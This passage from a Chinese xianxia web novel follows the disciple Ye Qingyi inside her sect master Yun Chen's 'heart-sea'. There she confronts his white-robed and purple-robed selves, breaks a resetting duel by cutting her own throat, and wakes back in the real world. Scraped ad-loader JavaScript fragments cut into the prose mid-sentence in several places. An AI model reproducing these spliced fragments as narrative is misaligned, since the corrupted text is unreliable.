“但说无妨。” “请恕弟子唐突,既然此处是掌门的心海,为何我能进来?”而且这么久了,还没有其他进来。 云宸眼眸低垂,落在面前的青瓷茶杯上,沉默了几息,山风四起,层林沙沙作响,清朗的山风裹挟着湿润的水汽,轻拂过她的脸颊,叶清漪忍不住瑟缩了一下,感到有几分冷意,她低下头,捧着茶杯暖手。 “大约是因缘巧合罢!” 良久后,她听到云宸如此说。 “那现在该怎么办?”叶清漪将视线从远处收回,重新投向云宸。 云宸也不看她,端起茶杯又喝了一口,才道:“只能等。” “什么?这……” “心海中无论过了多久,外界都只会是眨眼一瞬的,这个无需担心。” 云宸的话让她放了些心,但没多久又提起来了。不是!那她呢?她也不能出去吗? 从云宸的反应来看是这样的,毕竟如果她能离开,云宸一早就让她出去了,还能让她知道他那么多秘辛吗? “那我们现在该怎么做?” 云宸抿了一口茶,搁下杯子:“什么都不需要做,顺其自然,心海便如尘世一般,你不要想着逃离、对抗、防备,这些都会导致心海的波动,坦然接受,心如止水,自然而然就出去了。” 好吧!她终于知道云宸的性子是怎么练出来的了。 “那我进来不是拖掌门您后腿了吗?” 云宸摩挲着杯沿,抬眼看她,没有回答。 叶清漪识相地闭嘴了。 “可是……那只邪灵去哪儿了呢?” “他被我设法困在心海之中了,只是不知会以何种方式出现。” 叶清漪看了眼外面:“那他会在那些山林河流之中吗?” 云宸顿了顿:“也可能是你眼前的茶杯。” 叶清漪吓得连忙脱手。 云宸眼底浮现一丝淡淡的笑意,语气如常:“任何物件都有可能,但你也无需在意,只需照常生活即可。” 生活?照常??! 她可没有云宸这么好的性子,她现在只想尽快出去。 “那能在心海中将那邪灵除了吗?” 云宸吃完手中的朱果干,又喝了口茶才道:“不清楚,这个我也没试过。” “…………” 叶清漪也举起杯子一口闷了,杯底“扣——”地一下嗑在桌上。 叶清漪就这样被迫住了下来,心海没有四时变化,菜圃里的菜也永远是那几样,眼前之景十年如一日,叶清漪也慢慢相信云宸所言,这里的确不是真实存在的地方。 云宸作息很规律,每日早起打坐,收拾菜圃,用现有的食材简单做点吃食,下午就坐在茶室喝茶吃果干,要么就是练字看书,给花盆换土,他总能找到事情打发时间。 叶清漪不像云宸那么沉得下心,只是假装配合着这一切,其实每日心急如焚。 邪灵也一直没有出现。 就这样不知过了多久,有一日叶清漪忽然惊觉,矮屋门口的那些农具不见了。 “是自行消失了。” “自行消失,那是何意?” “心海中的所有事物都是我的杂念,通过在其中日复一日的生活修炼心性,杂念清除了,相应的物件就会消失。” 叶清漪看了看身后的菜圃,屋顶,还有远处的山川河流:“这些……都是杂念吗?” “正是,我如今还没完全得道,心海的杂物比较多,想让其消失也是需要经年累月的修身养性,和极其坚韧的心性的。” “那是不是心性境界精进得越快,消失的东西就越多啊!” “也不尽然,有些很大的事物可能反而很容易消除,原本这一片都是山,已经消失了一大半了。”云宸随手一指。 “啊?”叶清漪很是出乎意料。 “真正麻烦的反而是这间院落里的各种细碎的物件,越细碎越难消除,代表了我内心深处很强烈的执念。”云宸说着看向她,灼灼的目光让叶清漪感觉有些无形的压迫。 她连忙装作不经意地移开视线,总觉得她这次误闯入云宸心海实在是太冒犯了,毕竟这等于间接窥探了云宸内心最隐秘之处,虽然她也不是有意的。 只能希望出去之后,云宸不会杀她灭口吧! “那有东西消失,是不是表示有希望出去了!”叶清漪激动之情溢于言表。 “的确是个很好的进展,这院子里的东西已经很久没有消失了,但是暂时应该还出不去。” 叶清漪又泄气了。 云宸看她一眼,转头就进去了。 叶清漪:……好歹安慰她两句啊! 有了这点进展,之后的日子叶清漪也更沉得下心了,虽然不知道她的心性对心海有没有影响,但她也要尽量不影响云宸才行,这样他们才能尽早离开。 但是农具消失之后很长一段时间内,一切还是没有变化。 甚至有一天早上叶清漪起来后绝望地发现,她的屋里多了个梳妆台。 叶清漪心一沉。 她一个在闺阁都不梳妆打扮的人,要什么梳妆台啊! 云宸告诉她,她的心性意念对心海的影响不像云宸那么大,但也是有可能会让里面的事物发生变化的,不过好消息是,因她产生 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的物件,也比云宸心念对应的物件容易消除,加上她的起心动念来得快去得快,第二天早上那个梳妆台就不见了,也算是有惊无险。 自此之后,叶清漪每天眼观鼻鼻观心,一点杂念也不敢有,天天对着空山深林吐纳,一不留神还突破了结丹境界,正式进入悟道,也算是意外之喜。 天地清气的确让她感到通透不少,体内浑浊之气排出了大半,灵台清明,身形也轻盈不少,难怪云宸每次出关修为都突飞猛进,而且看着如此深沉,也不知他这些年在心海一共待了多少年? 心海的日子停滞了很久,久到叶清漪已经开始怀疑自己究竟能不能出去,直到有一天,波澜不惊的日子终于发生了变化。 起因是她做了个梦,醒来后她对梦中之事深信不疑,梦里她遇见了两个云宸,后来的那个将前面的云宸杀死了,但是后面那个云宸是坏的,估计是邪灵所化。 但她醒来后并没有将此事告诉云宸,她仍旧不能确定如今的云宸到底是不是真的! 叶清漪平稳了心绪,走到院子里,尽量不被云宸察觉她的异样。 出去的时候,云宸正在院子里摆弄着什么,叶清漪发现菜圃没了,多了一个蓄水的石台,一根斜斜的竹子搭在石台边,落在地面的一端,下方有一块光滑的石头,另一端为斜切口,正对着上方另一个竹子的出水口,水流自一端汇入,蓄了一定水量,竹筒倾斜,将水流送到下方的石台内,另一端又会落下,水流再次注入竹筒,如此循环往复,永不止息。 “这个……很难消吧!”叶清漪都为云宸感到头疼。 云宸回过身看她,抬手比划了一下石台。 “此为惊鹿,竹筒中蓄了一定水量,竹筒两端平衡转移,一端自然倾斜,将水倾到在下方的蹲踞中,竹筒另一端重又落下,敲击在石头上,水满,声响,用来惊扰落入庭院的鸟雀。”云宸饶有兴趣地跟她解释起来。 “掌门……”叶清漪欲言又止。 “这个惊鹿不会无故出现,事情应该很快就有转机了。” 云宸见她不理解,又说得更清楚点:“之后会出现一件不断重复的事情,将其终结,大约就能出去了,到时不管我陷入什么境地,你只需凭着自己的直觉行动即可。” 叶清漪想到昨晚的那个梦,眉心越发紧蹙。 云宸话刚说完,就像感应到什么似的,往院外看了一眼。 叶清漪随着云宸的目光望去,院外的小路出现了一条很长的台阶,但这条路之前并没有。 “这是?” 和叶清漪相比,云宸显得淡然许多。 “来了!” 台阶之下逐渐传来脚步声,叶清漪紧握着青锋剑,眼睛一瞬不瞬盯着台阶的方向。 一个身影出现,从下方一步步走上来,叶清漪只看到一个头顶,觉得有一些熟悉,但是想不起来在哪见过,等能看到那人的模样时,他又被围墙遮挡住了,但很快,来人就出现在了院门口。 原本都已经想好第一时间拔剑了,但看到那人的瞬间,叶清漪却犹豫了。 她不知道该不该拔剑,因为门口站着的不是别人。 也是云宸! 79. 紫云双面 这是……什么情况? 直到看到另一个云宸出现,叶清漪才猛然发觉,这一幕,跟她梦里所见一模一样。 来的那位云宸衣着打扮更像她往日看到的样子,不仅穿着一袭紫衣,甚至还拿着紫霄剑。 叶清漪默默后退,跟两个云宸拉开距离。 “你们到底谁是真的?哪个是邪灵所化?” 两位云宸一同转过头看她。 这画面实在太过诡异,叶清漪不由得深吸一口气,才能迫使自己稳住心绪。 一旁的惊鹿还在一下一下地扣在石台上,间隔地响着,仿佛在替什么计时一般。 “什么邪灵?”紫衣云宸终于开口,语气和真实的云宸一般无二,但他举手投足间更加随意,语气也更轻佻,与素日云宸给叶清漪留下的印象不同。 但不知为何,叶清漪没有第一时间认定他是邪灵,也许因为紫衣透露出的气质也很真实,很熟悉。 “与你无关。”白衣云宸淡淡开口。 “这位就是你认的徒弟?不是说是个男弟子吗?怎么,又换人了?我就说你不是那块料吧!教徒弟不行,当掌门你也不够格,不如让给我!” “多年未见,你还是这般急功近利,丝毫不会掩饰自己的目的。” “你我之间,还那么虚伪做什么呢?别忘了,你就是我,我就是你啊!” 紫衣云宸越说越兴奋,叶清漪却越听越糊涂。 “难道你们是……云宸的善恶两面?” 紫衣云宸笑眯眯地望着她:“没看出来你这个徒弟还挺聪明。” 说着别有意味地看了眼白衣云宸:“这么多年了,还是第一次在你心海看到其他人,你不是无欲无求了吗?” 白衣云宸薄唇紧抿,冷眼不答。 紫衣又接着说:“当初你为了入道,将所有的欲念都甩给了我,可惜啊,现在还不是生出新的欲念了,看起来还很要命呢!居然进到你心海来了。” 叶清漪大概听懂了一些,所以云宸态度反复无常的原因竟然是这个吗? “不过我看,你上一次已经将这部分欲念给了我吧!否则我怎么一见你这位小徒弟就心生亲近呢?” “休得胡言!”白衣云宸少见地动了怒。 山风四起,湖水被吹得泛起层层波浪,云层深处传来几声闷雷,天色眼看着暗了下来。 白衣云宸闭了闭眼,努力控制着心绪。 “我就随口一说,你怎么就急了?你不是心如止水吗?”紫衣回身看了一眼,语气玩味,像是在为识破了白衣的秘辛而沾沾自喜。 白衣云宸再次睁开眼,山风逐渐止息,乌云褪去,天际又恢复了平静。 见白衣的意念出现了动摇,紫衣开始围着他循循善诱:“那么压抑自己做什么?与其像你这样寡淡乏味地活上几百年,还不如肆意快活地过个几十年,修仙有什么好?要知道,因为天资优越,你损失了多少,没有同年,没有朋友,小时候不能像其他人一样四处玩耍,长大了……” 紫衣说到一半,停顿片刻,刻意看了眼叶清漪。 “长大了不能像寻常人那般享受七情六欲,回头你是得道了,可是孤家寡人,有什么意趣?若是日后你后悔了,都不能任性地离去,你就打算一直这样下去吗?” “这条路是我亲自选的,我没有怨言,也从未想过其他。”白衣一如既往地平静,眼神虚虚落在前方,说这话时甚至都没看叶清漪一眼。 “你是不难受,我可要憋死了!”紫衣云宸愤懑不已,长剑出鞘,“这一次也该轮到我走出心海了!” 紫衣拼了全力向白衣刺去,白衣后退一步,躲过紫霄剑,接着一掌打在紫衣手腕处,将紫霄剑打落。 紫霄剑直直飞上半空,没有再落下。 紫衣暗骂了句,无奈之下只得赤手空拳和白衣过招,二人短兵相接,缠斗在一处。 紫衣看起来似乎要厉害一些,白衣渐渐落了下风,只能连连格挡,但紫衣的攻击密不透风,很快找到破绽,给了白衣腰腹处一掌。 白衣云宸被这一下打得后退两步,一直踩上身后的台阶才停下。 “掌门!”叶清漪下意识直呼出声。 云宸应声回头,看了她一眼,没有多言,调整了气息又继续向紫衣发动攻击。 紫衣似乎刚想和叶清漪说上两句不着调的话,被白衣这下打断,只得先与其过招。 相比白衣,紫衣显得更加游刃有余。 叶清漪也不知该不该帮忙,该帮谁的忙,一筹莫展间,她想起白衣云宸最开始跟她说的话。 “……到时不管我陷入什么境地,你只需凭着自己的直觉行动即可!” 惊鹿的声音一声声扣响着,两位云宸的过招也越来越密,快到她都快分不清谁是谁! 叶清漪握紧青锋剑,缓缓拔.出,眼神逐渐坚定,她举剑起势,直直朝两位云宸刺去,加入了混战。 二人同时避开叶清漪的攻击。 紫衣来了句:“哟嚯!你这小徒弟挺狠啊!连你一起对付了,一点不手软啊!” 白衣喝道:“你住嘴!” 紫衣不服气地撇嘴,这模样与素日的云宸实在相差甚远,看着太过违和。 “两位掌门,得罪了!” 叶清漪说着看了眼上方,整个人直直飞至半空,青锋剑一转,将紫霄剑击落。 这人能有两个,紫霄剑总不会有两把吧! 既然她做不出选择,他们二人又难分胜负,不如交给灵剑决定! 紫霄剑直直落下,剑身泛着紫气,剑柄坠着紫色流苏剑穗,剑刃尽显锋芒。 两个云宸都抬头望着紫霄剑,紫衣更是飞身而上,想先发制人将紫霄剑抢到手。 白衣也不坐以待毙,抬手就是一掌,紫衣下意识躲过,转了一半才意识到,白衣的目标根本不是他,而是紫霄剑! “不要!”紫衣大喝一声,一掌追上前,想将白衣的攻击打回,却不料预料有误,两股法力一齐打在紫霄剑上。 紫霄剑当场断成两截! “这是……”叶清漪也不明白了。 “云宸,你也太狠了!”紫衣落下,跪在地上看着断成两节的紫霄剑,心痛不已。 “你一直都想成为我,紫霄剑当年也是你所选的,特别喜爱,每次来见我你必会带上,并不是为了与我斗法,而是你只是单纯的喜欢它。”白衣目光平静地几乎如一潭死水。 “知道你还这样对它!”紫衣的声音都带了哭腔。 “因为,喜欢这种情绪,也是不能出现的,你对紫霄剑的喜爱太过强烈,很容易变得偏执,况且,若是被人察觉出你的喜好,那他就知道怎么做可以摧毁你,这是很危险的!” 紫衣云宸干脆一把坐在地上,两手捂着耳朵撒泼:“好了好了,别念了!你那点心思我还能不知道吗?看着像是为我好,毁了这剑,其实是在断你自己的念想吧!不过是想通过折磨我来提醒你自己,可是你忘了吗?我就是你啊!我对紫霄剑的喜爱也是你的,所以现在的痛苦也是你我一同受的,我实在想不明白,这便是你所说的道吗?” 紫衣这话,让白衣一时沉默了,别说白衣云宸了,叶清漪也沉默了,从刚才看到白衣徒手毁了紫霄剑开始,她就已经看不明白了,毕竟对修道之人,法器就是第二个自己,也是最亲密的朋友,灵剑之于剑修便是如此。 她前世到最后,陪在身边的也只有青锋剑了,她对青锋剑的感情自然也是非比寻常的。 难道为了得道,竟要做到如此地步吗? 紫衣哭哭啼啼地爬起来,一左一右握着断剑,手心已经被剑划得不成样子了,竟也舍不得松手。 叶清漪又改变想法了,确实要做到如此地步! 紫衣用手背擦去脸上的泪水,相比之下,紫衣更像少年时期的云宸,甚至还带了点孩子心性。 难道云宸连童趣童心都一并割舍了? 如此想来,叶清漪也不知如何评价了。 她还在云头上看着二人,眼见紫衣举着断剑就要向白衣刺去,她连忙飞身而下,青锋剑直指紫衣。 可她道行太浅,不是紫衣的对手,落地之时,紫霄剑前半段已经刺入白衣云宸的腹部,另一段还在紫衣手里,他颤巍巍地举起,刺入了白衣左侧的肩胛骨。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>接着他也像脱力一般,跪倒在地,分明没有受伤的身上却开始往外渗血,从衣服被洇湿的位置来看,和白衣的伤口位置一致。 这是为何? 叶清漪怔怔站在原地,青锋剑噔地一下应声落地。 白衣云宸转头看向她,微一点头。 叶清漪似乎看明白了那个眼神背后的含义。 紧接着,她又回到了石台之前,云宸在她面前摆弄着惊鹿,时间回到一炷香之前。 云宸回头看向她,再次点头,没说其他。 “掌门你……还记得方才之事?” “不错。”云宸颔首,转而看向围墙,“稍后一切还会重演。” “刚才我做错了什么吗?”叶清漪问。 云宸摇摇头:“并没有。” “那之后我该怎么做呢?” 云宸嘴角轻勾,眼底浮现淡淡的笑意:“你只需按你的想法来,我无法给你提供任何建议,这一次破局之人是你。” 叶清漪眉头紧蹙,百思不解。 “这紫衣很久没有在心海出现了,这次是因为邪灵察觉到我的弱点,才给了紫衣可乘之机。适才我毁了他最珍爱的紫霄剑,让他彻底崩溃,与我同归于尽,但我们互相无法伤害彼此,你看到的只是幻象,若是我和他二人同时死去,心海就不复存在,所以心海出于保住自己的目的,会将一切抹去,让事情重新开始,直至做出正确的决定。” 正确的决定……到底什么是正确的决定? 叶清漪还没来得及问清楚,紫衣就来了。 前面发生的事情跟之前一模一样,只是看起来紫衣云宸并没有之前的记忆。 这次紫霄剑又在一开始就被打上半空,既然打落紫霄剑无用,那只能采取其他办法,上一次白衣云宸绝不是平白无故打落紫霄剑,他的目的是让紫衣暴露自己的弱点,毁了这佩剑,紫衣便失去了最重视之物,那白衣的弱点呢? 白衣这么冷静,看起来毫无破绽,叶清漪想到紫衣重复了两遍的那些话,难道白衣的弱点会是……她吗? 怎么可能! 叶清漪连忙否认了自己这个可怕的想法。 退一万步说,就算她是白衣的紫霄剑,那她难道要毁了自己吗? 这心海也不知道是什么所在,她若死在这里,出去后也不知还能不能活? 等等! 叶清漪迫使自己冷静下来。 不对,不对! 白衣最在意的,与其说是她,不如说,是白衣内心的平静,道心的稳定,这才应该是他最在意的才是! 可知道了这点又能如何呢?心海的稳定不就是白衣的道心支持着的吗? 看着眼前缠斗在一处的二人,叶清漪努力分析着。 白衣一直叮嘱她,要相信自己的直觉,说她才是破局人,这到底是什么意思? 莫非…… 叶清漪脑中闪过一个可怕的念头,并且她为自己会产生这种念头而感到羞愧。 她在想,是不是需要她来撩动白衣云宸的心弦,扰乱他的意志,心海才会发生波动,他们就能离开了? 前面云宸还说了,他们会遇见一件不断重复的事情,要将其终结,才能出去了,她这么做是在终结一切吗? 叶清漪眼睛一闭,想着不管了,姑且一试,反正已经这样了,还能更坏吗? 于是叶清漪把心一横,青锋剑直接架在自己白皙的脖子上。 “二位掌门!不要打了!!!” 两位云宸同时住手,看向叶清漪,那一瞬间,叶清漪在他二人眼中都看到了同样的情绪——不舍! “叶清漪,你干什么?快把剑放下!!!” 让她意外的是,最先开口的竟然是紫衣。 白衣只是定定看着她,眼中神色复杂,也有一丝担忧。 “这一切皆是因我而起,就让我来结束这一切吧!” 叶清漪轻阖双目,长剑一横。 “当啷——” 青锋剑直直坠落在地,剑刃还带着一抹触目惊心的鲜红。 一旁的惊鹿恰好在此时扣下,发出一声突兀的轻响。 80. 心海破局 叶清漪再次睁开眼,他又回到了院子里,手中青锋剑已经入鞘,叶清漪抬手摸了摸脖子,没有伤口。 白衣云宸不在院子里,惊鹿仍旧规律地敲打着石台,地面没有打斗痕迹,她应该又回到了一切发生之前。 回想起刚才倒下时最后看到的画面,第一个向她冲过来的竟然是紫衣。 这时白衣云宸也恰好从正屋走出,叶清漪回头看了一眼,心情复杂,经过之前的事情,她如今不知道该怎样面对云宸。 云宸缓步走来,长长的衣摆迤逦拖在地上,扫过台阶,牵连起一些落叶,窸窸窣窣的,他向着叶清漪而来,地面的碎石子在他脚下发出沉闷的声响。 “掌门!” 在云宸靠近的瞬间,叶清漪喊了一声,后撤一大步。 她侧低着头,回避着云宸的视线,能看到的只有云宸的衣摆。 “你无需有什么负担,这不过是我命里注定会有的天劫罢了。” 叶清漪错愕抬头,看到云宸如常的神情才稍稍放松一些:“是和之前修言长老一样的天劫吗?” “不错。”云宸的神情没有丝毫破绽。 “那掌门你将杂念全部转移到紫衣身上,是为了避免应劫吗?” “不完全是,紫衣是我生来就有的一面,在最初生成心海时就有,当时他还是少年模样,随着时间的推移,他也成长了,能力也与日俱增,他以欲念而生,欲念越多,他的法力越强。” 叶清漪蹙眉:“和欲念相伴相生……这不是?” “没错,和邪灵的天赋一样,这次邪灵侵入我的心海,也将紫衣放了出来。但是,紫衣也是邪灵天然的养料,如果紫衣被邪灵吞噬,那邪灵的修为便会大为增进,仙魔两界只怕再无敌手,到时只怕又是一场浩劫。” “那为什么刚才还是失败了呢?” 云宸沉吟片刻,正准备跟叶清漪解释,门外传来一道声音,二人转头望去,紫衣已经到门口了。 “那是因为,心海需要有人驻守,才能维持稳定,我和云宸只能有一人离开,另一人留下,第一回,我杀了他,我们俩都不能出去,心海只会重启。” “那第二次呢?”叶清漪问,“我记得最后看到的画面,是紫衣冲过来救我,后面的我就不知道了。” 紫衣闻言,视线闪躲,神色有些不自然。 见他不答,叶清漪又以询问的眼神看向白衣,白衣还是一如既往的沉默寡言。 叶清漪不禁感叹,这两个云宸性格也差得太远了,白衣是将说话的欲望都转移给紫衣了吗? “你这个人,什么都不懂就给自己一刀,你可知除了我和云宸,其他人死在心海里会是什么下场吗?”紫衣情不自禁提高了声调。 叶清漪茫然:“会怎样?” “会变成弱智!”紫衣似乎很生气。 叶清漪有些手足无措。 “你不用听他的,但是修为的确会大打折扣,并且你可能会成为心海的一部分,无法离开。”白衣淡淡解释,语气还是一如既往的平静。 叶清漪却听得心惊肉跳。 “啊?那我是怎么……” 两个云宸互相看了一眼,紫衣的表情似乎带了点不自然。 白衣又转头跟叶清漪解释:“如果你死后,我二人达成共识,其中一人离开,心海的入口会关闭,你才会被留在这里,但这次我二人还是没有达成一致,心海又重启了,所以你不会有事。” “要达成什么一致?而且,他上次不是没有记忆吗?怎么这一次又有了?”叶清漪指的是紫衣。 紫衣扬了扬下巴,做出不乐意回答的样子。 白衣娓娓道来:“第一次的时候,我们没有达成谁离开谁留下的一致观点,一切重新开始,折损的是心海中的紫霄剑,他必须让紫霄剑回到之前的状态才可以。” “之前那些是演给紫霄剑看的吗?”叶清漪不太确定地说出紫霄剑三个字。 “那不然呢!我都说了我和云宸两位一体,他记得的事情我怎么可能不记得!”紫衣又对白衣一拂袖,不耐地催促,“你跟她说这些干什么,赶紧的吧!” 叶清漪 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还是不懂,他们要达成什么一致? 紫衣已经摆开架势,紫霄剑在手里挽了个花,向白衣袭去:“说好了,两个人只能走一个,这次也该轮到我了!” 二人又斗在一处。 叶清漪愣在当场,看着他们缠斗的身影,脑海中回响着他二人说的话。 思绪纷杂之际,一旁惊鹿的声音格外突兀。 叶清漪冷静下来,盯着那惊鹿一上一下,思绪逐渐清晰。 第一次,紫衣剑刺白衣,二人的意愿是都想离开心海,第二次,叶清漪抹了脖子,最后是紫衣来救的她,但白衣云宸肯定也是想救她的,那他二人各自是什么想法才会让心海重启? 难道……其中有一人动过想将她留下的念头吗? 不,应该是二人都想让她离开,又或者,一个想留下,一个想送她离开? 这惊鹿应该是代表了二人的循环,他们二人是惊鹿两端,一个起来一个就会落下,心海在二人之间涌动,二人是同一个竹筒的两端,代表两人共用一个身体,但只能有一人掌控身体。 两端都是由上方落下的水流控制的,一端的满是另一端落下的因,一端落下是另一端空了的因,同时另一端的空又是一端再次抬起的因,两端互为因果。 要想终止这种状态,需要切断水流汇入的源头,若将水流比作心海,只有切断一人与心海的联系才能终止这一切。 竹筒静止,两端状态永恒,不再改变。 因果既定,循环不复。 叶清漪如梦初醒,惊鹿的出现,隐喻着两人互换的状态到了该终止的时候。 如此一来,叶清漪猛然想起曾经有几个瞬间,叶清漪感觉云宸和前世不太一样,当时她还有些疑惑,如今再见到紫衣,她更能肯定,这几年里,紫衣也曾占据过这具身体,只是没人发现。 那这一次二人需要达成的共识,是一人心甘情愿留下,直至与心海一同消失;一人永久地占据身体,得道飞升。 难道云宸说的她是破局者的意思,是让她来决定他二人的去留吗? 81. 回山休整 这个念头冒出来的瞬间,白衣云宸感应般地抬头看向叶清漪,与她四目相对。 紧接着,二人一个错手,紫衣又特意给了她一个眼神。 那一刻,她似乎读懂了他们的眼神,白衣依旧是让她按自己的想法来,紫衣则是让叶清漪选择留下他。 叶清漪实在不明白,这种事情怎么就落在她头上了? “快选啊!”紫衣像是能看穿叶清漪心中所想,隔着大老远对她喊,“别想为什么让你来决定了,你以为谁都能进云宸心海吗?你能进来,说明云宸内心对你不抗拒,像他这样天生清冷的人,对一个人敞开心扉有多难!” 叶清漪还是难以决断:“可是,那也不能由我决定啊!” “反正我俩只能留一个,你就随便选吧!”紫衣一直在逼她做决定。 “心海一定要存在吗?不能你二人一起离开吗?”叶清漪问他们。 “心海自然会一直存在,但心海中的事物会随道心的稳固程度逐渐消失,道心越稳,心海越纯净,最后变得空无一物。但在那之前,心海中一定要有人驻守,若心海无人驻守,一切都会乱套,这里的一切也不会像你现在看到的这般稳定,而是无时无刻不在变化。云宸也会被两种不同的心境来回折磨,无法修炼,甚至走火入魔。” 紫衣耐心同她解释。 叶清漪点着头,认真听他说的每一句,试图能藉此想到应对之法。 一旁的白衣接过话头:“之前我们轮流留在此处,但也正因为,修为一直停滞,难有很大的突破,说明到了该决断的时候了。” 叶清漪忽然想到这一世和云宸第一次的正式见面,是在去练武场的路上,彼时她被凌雪瑶和南宫君霖拦住去路,阴差阳错撞见了云宸,还有后来他和几个长老去藏经阁看她,临走时的那一眼,她依然记忆深刻。 当时她就觉得奇怪,以为云宸早些年性格有所不同,没有过多猜测,如今想来,那时云宸给她的感觉就跟紫衣比较相近。 及至后来试炼大会,她在凌云广场的千级阶梯遇到的云宸,感觉就有所不同。 还有之后和修言大战时的云宸,以及这一次闭关出来后见到的云宸,反而与从前大相径庭。 但她在流云殿疗伤的那两个月,和云宸为数不多的几次接触,时而像白衣,时而像紫衣,在正殿守候她的像白衣,将她从温泉抱回的也像白衣,可这些行为分明更像紫衣的手笔。 叶清漪思绪混乱,她已经分不清,哪些时候遇到的云宸是紫衣,哪些时候是白衣,她又该留下哪位才是正确的选择。 难道她真的要这般决定云宸的命运吗? 紫衣点点头,难得表示对白衣的赞同:“是时候做个决断,而你是云宸命定的天劫,由你来决定再合适不过。” “可为何我会是掌门你的天劫呢?” 紫衣似乎被问住了,难得闭了嘴,转头看向白衣。 “世间万物,缘起缘落,不是所有事情都有答案的。”白衣依旧是那副超然物外的样子。 只是这话说完,紫衣似乎没好气地翻了个白眼。 叶清漪知道问不出什么,这两个云宸,一个太过跳脱随性,一个又清醒克制,要是二者能中和一下就好了,但目前看来,还是白衣更能担任身为掌门的云宸,若云宸不是一个门派的掌门人,或许紫衣才是他想要的活法。 叶清漪这样想着抬起头,两个云宸都转过来看着她,眼前的一切似乎开始远离,叶清漪感觉不受控制地被越推越远,两个云宸的模样也开始越来越模糊,她开始往半空升,青锋剑感应到宿主的危险自动出鞘,围着叶清漪旋转飞舞,像是努力在清除裹挟着她的那股力量。 然而在这心海之中,青锋剑毫无施展的余地,连灵气都被牢牢压制,但尽管如此,青锋剑还是在极力守护着叶清漪,直到那股力量将青锋剑重重击落,人剑一体,叶清漪也随之感受到真气一滞,意识开始模糊,很快就无知无觉了。 失去意识的最后一刻,她似乎感觉到有人从下方上来,托住了她,带着她往高处飞去。 不知在虚空中沉浮了多久,繁杂的思绪充斥着她脑海,但她却分不清自己在想什么,只感觉心绪复杂又极端,仿佛经历了什么撕心裂肺的事情,但她只记得这个感觉,不记得具体的事。 忽然,她毫无征兆地睁开眼,发现自己置身于一处陌生的所在,四周白茫茫一片,没有实体,没有尽头,她独自在其中漫无目的地走着,一直走了很远,终于看到前方有一个人影背对着她。 叶清漪没有害怕,内心很平静,她没由来地觉得安心,不由自主地靠近。 那人负手而立,置身云雾之中,看不分明,只能看到他长发半束,超然物外,遗世独立。 叶清漪还想走近,就听到一个声音再劝她止步。 “你走得够远了,该回去了。” 叶清漪不解。 “回去吧,一切都会如你所愿。” 那人说着转过身来,叶清漪得以看清他的模样,是云宸,几乎同时,她自虚空中抽身,灵台恢复清明,耳边也传来一些熟悉的声音。 有人连声喊着她的名字。 “叶清漪,快醒醒!” 她感受到自己恢复了意识,也能听到周围人的声音,知道都是认识的人,但想不出来他们的名字,她能感受到四肢和眼睛嘴巴的所在,却无法控制,周围的呼唤声越来越多,大概有人察觉到她的挣扎,开始一边摇晃一边喊她。 猛烈的摇晃加上努力的意志,她终于顺利睁开眼,心口的压迫感也消失了。 映入眼帘的是一片苍穹,她仰面躺在地上,边上围了几个眼熟的云仞弟子。 “可算醒了,你可吓死我们了!” 连喜,顾长风都在边上看着她,叶清漪视线扫了一圈,才找到刚才说话的人,是许欣月。 “你误入了邪灵设的结界了。”唐旖柔在另一边说,还破天荒地将她扶起来。 叶清漪扶着吃痛的脑仁,缓了好一会儿才明白自己还坐 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在观雨楼前,就是她被卷入云宸心海的位置。 “掌门呢!”叶清漪第一时间确认云宸的情况。 “掌门已经制服邪灵,顺利冲破结界出来了,若非如此,你还要继续在里面困着呢!”许欣月又解释了一大串。 可能是因为这次来的女弟子不多,叶清漪又遇到这样的事情,唐旖柔和许欣月竟难得如此关心她,叶清漪一时还有些不适应。 她一边扶着吃痛的脑袋,一边被唐旖柔她俩扶起来。 围在她面前的弟子也向两边散开。 她这才看到,云宸就站在不远处,负手而立,侧身对着她这边。 她不免回想起最后离开心海前她的所思所想,为何一切就忽然终止了?如今的云宸是哪一位,又是谁留在了心海? 叶清漪定了定,感觉好些了,示意不用人扶。 唐旖柔和许欣月便松开了她。 此时云宸转过身来,与叶清漪四目相对,叶清漪也不躲闪,坦然回视着,尽量表现得一如往常。 云宸的眼神毫无破绽,叶清漪逼着自己才勉强没有移开视线。 直到云宸将视线收回,不发一言。 叶清漪暗暗松了口气。 顾长风上前:“邪灵已除,即刻返回云仞,伤势较轻的弟子扶着点受伤的弟子,尽快全数登上云舟。” 叶清漪一心想着云宸的事情,没有注意连喜一直在看着她,神色寻味,不发一言。 上了云舟后,叶清漪坐在了左侧倒数第二排最靠里的位置,周围其他位置坐了哪些人她根本没在意,只知道边上挨着唐旖柔。 就这么浑浑噩噩一路回了云仞。 到凌云广场的第一时间,叶清漪就下了云舟,云宸路上就说了让众人各自回去休息,全门停课休整十日。 叶清漪冲下云舟就往寝舍走,一路也不知怎么过来的,完全凭着习惯走了回去,到寝舍就倒在床上,被子一卷,一句话也没说。 她不知道自己为何会如此,但就是有些不好受,巨大的罪恶感和愧疚感包裹着她的内心,无法排解,她甚至都不知道之后该如何面对云宸。 裴佩和夏侯见她这般反常,也不敢贸然打扰,都很体贴地没有过问。 叶清漪心绪复杂,又受了内伤,没多久便睡过去了。 之后的日子一如既往,叶清漪也恢复了,至少看起来是这样。 只是裴佩她们总感觉哪里不对,虽然每日还是照常修炼,看上去一切也和从前一样,可不知从何时起,叶清漪忽然与内门那几位要好的师兄不再来往了,对掌门和内门的事情也不像之前那样上心了。 还拒绝了成为内门弟子的机会,那可是她被派去收服邪灵换来的,裴佩她们都很是不解,但谁也不敢贸然提起。 她们总感觉,叶清漪去了冀州城一趟,整个人都变得不一样了。 若说之前叶清漪看起来也不好相处,但还是有情绪变化的,如今的她倒更像是彻底封闭自己,对一切都只剩漠然。 82. 妖契发作 很快到了来年春天,这一年仙徒们大多处于各自试炼的阶段,云仞的课业已经结束,该学的修仙入门也都学的差不多了,所有人都在为成为正式弟子努力,除了叶清漪。 当初一同去冀州除妖的几个仙徒都已经提前进入内门,包括唐旖柔和许欣月,只有她拒绝了,理由是还想在前山多历练,云宸也没有过多阻拦。 